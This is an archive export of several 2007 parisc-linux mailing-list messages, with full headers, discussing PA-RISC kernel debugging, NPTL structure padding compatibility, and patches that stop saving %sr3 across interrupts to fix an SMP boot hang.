National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Fri, 23 Feb 2007 18:45:20 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1172277920.3424.83.camel__29496.7016009197$1416624311$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624311 23047 80.91.229.3 (22 Nov 2014 02:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 00:45:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 24 Feb 2007 01:45:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0AB77DAC9;
	Fri, 23 Feb 2007 17:45:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29188-05; Fri, 23 Feb 2007 17:45:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4B617DAC4;
	Fri, 23 Feb 2007 17:45:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 002A57DAB7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:45:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28983-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:45:29 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 0044E7D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:45:28 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1O0jLx11830; 
	Fri, 23 Feb 2007 19:45:21 -0500
In-Reply-To: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i7jscY8nX1VpteuYY2Fyi7p3SDc4NEwG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24394

On Fri, 2007-02-23 at 19:39 -0500, John David Anglin wrote:
> Just wondering why a protection id trap causes the system to eat
> sparcs...

Because we're in the kernel ... that's what the die_if_kernel() does.

> Is this a combined TLB issue?

It's clearly an Access ID mismatch ... but why I don't know; it's either
the TLB access ID or %cr8, which is what I asked Carlos to debug.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NPTL for hppa-linux is not backwards
	compatible with Linuxthreads.
Date: Fri, 23 Feb 2007 17:56:07 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <20070224015607.EC0DC180076__25402.5075737902$1416624311$gmane$org@magilla.sf.frob.com>
References: <119aab440702230839r74de6682ge0619c42d5606caf@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624311 23051 80.91.229.3 (22 Nov 2014 02:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:11 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 01:56:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 24 Feb 2007 02:56:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D09D7DAA7;
	Fri, 23 Feb 2007 18:56:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29713-04; Fri, 23 Feb 2007 18:56:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6024A7DAAC;
	Fri, 23 Feb 2007 18:56:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 841E67DA89
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 18:56:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29713-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 18:56:46 -0700 (MST)
Original-Received: from rwcrmhc15.comcast.net (rwcrmhc15.comcast.net [204.127.192.85])
	by free.linux.hp.com (Postfix) with ESMTP id BF7B17DA86
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 18:56:46 -0700 (MST)
Original-Received: from gateway.sf.frob.com
	(c-24-5-197-144.hsd1.ca.comcast.net[24.5.197.144])
	by comcast.net (rwcrmhc15) with ESMTP
	id <20070224015645m1500avrtle>; Sat, 24 Feb 2007 01:56:45 +0000
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 33426357B; Fri, 23 Feb 2007 17:56:38 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id EC0DC180076; Fri, 23 Feb 2007 17:56:07 -0800 (PST)
In-Reply-To: Carlos O'Donell's message of  Friday,
	23 February 2007 11:39:10 -0500
	<119aab440702230839r74de6682ge0619c42d5606caf@mail.gmail.com>
X-Windows: there's got to be a better way.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pd+VAqkJa2A75rvDOHQyJqsyOWhhaocf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24395

> Unfortunatly, due to alignment the NPTL pthread_cond_t grows larger
> than the Linuxthreads version when I add the padding. This is the only
> structure the grows larger in size than before. Is there any way I can
> avoid adding the padding?

It looks to me like you have one word to spare.  That's all you really
need.  That word will only ever be 1 from old PTHREAD_COND_INITIALIZER.
Checking all three padding words is really just paranoia trying to
distinguish clobbered structs from old initialized data.


Thanks,
Roland
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The parisc SMP boot problem
Date: Fri, 23 Feb 2007 22:25:53 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <1172291153.3424.87.camel__22841.4281773896$1416624312$gmane$org@mulgrave.il.steeleye.com>
References: <1171820653.3423.22.camel@mulgrave.il.steeleye.com>
	<20070218193237.GB22043@athena.road.mcmartin.ca>
	<1171830438.3423.26.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624312 23058 80.91.229.3 (22 Nov 2014 02:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:12 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 04:26:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 24 Feb 2007 05:26:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 197717DAB6;
	Fri, 23 Feb 2007 21:26:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30633-07; Fri, 23 Feb 2007 21:26:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A1917DAB7;
	Fri, 23 Feb 2007 21:26:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 007D47DA4B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 21:25:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30421-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 21:25:57 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 0272C7D9C7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 21:25:56 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1O4Psx22628; 
	Fri, 23 Feb 2007 23:25:54 -0500
In-Reply-To: <1171830438.3423.26.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aozmfdJbYW0+6buGbmZpgqp0amthcxt1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24396

On Sun, 2007-02-18 at 14:27 -0600, James Bottomley wrote:
> On Sun, 2007-02-18 at 14:32 -0500, Kyle McMartin wrote:
> > Any idea what was wrong with it?
> 
> Not yet ... the fact that everything goes OK for a while then hangs
> implies there's some issue with handling the SID wrap around, but I
> can't pinpoint it yet.

OK, it turns out it was much simpler.  The SMP distributed
load_context() changes %sr3 and %cr8.  However, in an interrupt all of
the space registers are saved and restored, so, even though the routine
changes %sr3, it gets changed back on the rfi after the IPI completes.

I think this is the fix.  Although, it strikes me that no interrupt
should be mucking with the space registers, so it's probably safe not to
save or restore any of them.

James

diff --git a/include/asm-parisc/assembly.h b/include/asm-parisc/assembly.h
index 5587f00..6c4d126 100644
--- a/include/asm-parisc/assembly.h
+++ b/include/asm-parisc/assembly.h
@@ -435,7 +435,7 @@
 	SAVE_SP  (%sr0, PT_SR0 (\regs))
 	SAVE_SP  (%sr1, PT_SR1 (\regs))
 	SAVE_SP  (%sr2, PT_SR2 (\regs))
-	SAVE_SP  (%sr3, PT_SR3 (\regs))
+;	SAVE_SP  (%sr3, PT_SR3 (\regs))
 	SAVE_SP  (%sr4, PT_SR4 (\regs))
 	SAVE_SP  (%sr5, PT_SR5 (\regs))
 	SAVE_SP  (%sr6, PT_SR6 (\regs))
@@ -475,7 +475,7 @@
 	REST_SP  (%sr0, PT_SR0 (\regs))
 	REST_SP  (%sr1, PT_SR1 (\regs))
 	REST_SP  (%sr2, PT_SR2 (\regs))
-	REST_SP  (%sr3, PT_SR3 (\regs))
+;	REST_SP  (%sr3, PT_SR3 (\regs))
 	REST_SP  (%sr4, PT_SR4 (\regs))
 	REST_SP  (%sr5, PT_SR5 (\regs))
 	REST_SP  (%sr6, PT_SR6 (\regs))


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sat, 24 Feb 2007 08:51:29 -0600
Lines: 84
Approved: news@gmane.org
Message-ID: <1172328689.3401.3.camel__16349.359896458$1416624312$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624312 23061 80.91.229.3 (22 Nov 2014 02:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:12 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 14:51:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 24 Feb 2007 15:51:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB5677DAAF;
	Sat, 24 Feb 2007 07:51:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03747-04; Sat, 24 Feb 2007 07:51:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BBEC7DAB7;
	Sat, 24 Feb 2007 07:51:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4492A7DAA7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 07:51:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03670-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 07:51:31 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 4E7C37DAA6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 07:51:31 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1OEpUx20523
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 09:51:30 -0500
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rSSFNStwZCEX4rGPamwhb1JwIGhpZQaZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24397

Since we're now changing the %sr3 from an IPI, we have to be careful
about other places in the kernel where we're using temporary values in %
sr3.  As far as I can tell, this is pretty much only non local cache
flushing.  The following patch fixes the IPI to work (by not saving %sr3
across an interruption) and patches up temporary %sr3 usage.

The sharp eyed will also notice I've corrected a Protection ID bug with
the non current flushes.

Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 00b1641..cb1dd17 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -303,25 +303,28 @@ flush_user_cache_page_non_current(struct vm_area_struct *vma,
 				  unsigned long vmaddr)
 {
 	/* save the current process space and pgd */
-	unsigned long space = mfsp(3), pgd = mfctl(25);
+	unsigned long space, pgd;
 
-	/* we don't mind taking interrups since they may not
-	 * do anything with user space, but we can't
-	 * be preempted here */
-	preempt_disable();
+	/* Have to disable interrupts here, since now %sr3 changes
+	 * are carried by IPI and we can't have that happen while
+	 * we're using a temporary %sr3 */
+	local_irq_disable();
+
+	space = mfsp(3);
+	pgd = mfctl(25);
 
 	/* make us current */
 	mtctl(__pa(vma->vm_mm->pgd), 25);
-	mtsp(vma->vm_mm->context, 3);
+	load_context(vma->vm_mm->context);
 
 	flush_user_dcache_page(vmaddr);
 	if(vma->vm_flags & VM_EXEC)
 		flush_user_icache_page(vmaddr);
 
 	/* put the old current process back */
-	mtsp(space, 3);
+	load_context(space);
 	mtctl(pgd, 25);
-	preempt_enable();
+	local_irq_enable();
 }
 
 
diff --git a/include/asm-parisc/assembly.h b/include/asm-parisc/assembly.h
index 5587f00..efe9ebc 100644
--- a/include/asm-parisc/assembly.h
+++ b/include/asm-parisc/assembly.h
@@ -435,7 +435,8 @@
 	SAVE_SP  (%sr0, PT_SR0 (\regs))
 	SAVE_SP  (%sr1, PT_SR1 (\regs))
 	SAVE_SP  (%sr2, PT_SR2 (\regs))
-	SAVE_SP  (%sr3, PT_SR3 (\regs))
+; Can't save and restore %sr3, it may be update from IPI
+;	SAVE_SP  (%sr3, PT_SR3 (\regs))
 	SAVE_SP  (%sr4, PT_SR4 (\regs))
 	SAVE_SP  (%sr5, PT_SR5 (\regs))
 	SAVE_SP  (%sr6, PT_SR6 (\regs))
@@ -475,7 +476,8 @@
 	REST_SP  (%sr0, PT_SR0 (\regs))
 	REST_SP  (%sr1, PT_SR1 (\regs))
 	REST_SP  (%sr2, PT_SR2 (\regs))
-	REST_SP  (%sr3, PT_SR3 (\regs))
+; Can't save and restore %sr3, it may be updated from IPI
+;	REST_SP  (%sr3, PT_SR3 (\regs))
 	REST_SP  (%sr4, PT_SR4 (\regs))
 	REST_SP  (%sr5, PT_SR5 (\regs))
 	REST_SP  (%sr6, PT_SR6 (\regs))


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Fri, 23 Feb 2007 06:46:22 -0500
Organization: wh0rd.org
Lines: 66
Approved: news@gmane.org
Message-ID: <200702230646.23698.vapier__33154.5230038047$1416624312$gmane$org@gentoo.org>
References: <20070223024202.1175E1800E4@magilla.sf.frob.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0065797075=="
X-Trace: ger.gmane.org 1416624312 23063 80.91.229.3 (22 Nov 2014 02:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:12 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2007 11:45:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 23 Feb 2007 12:45:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97EEF7DB34;
	Fri, 23 Feb 2007 04:45:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22831-05; Fri, 23 Feb 2007 04:45:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12DAF7DB35;
	Fri, 23 Feb 2007 04:45:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44B137DAA2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 04:45:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22628-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 04:45:32 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 71DDA7DA89
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 04:45:32 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id EA25064D96
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 11:45:30 +0000 (UTC)
Original-Received: (qmail 12944 invoked from network); 23 Feb 2007 06:36:16 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 23 Feb 2007 06:36:16 -0500
User-Agent: KMail/1.9.6
In-Reply-To: <20070223024202.1175E1800E4@magilla.sf.frob.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
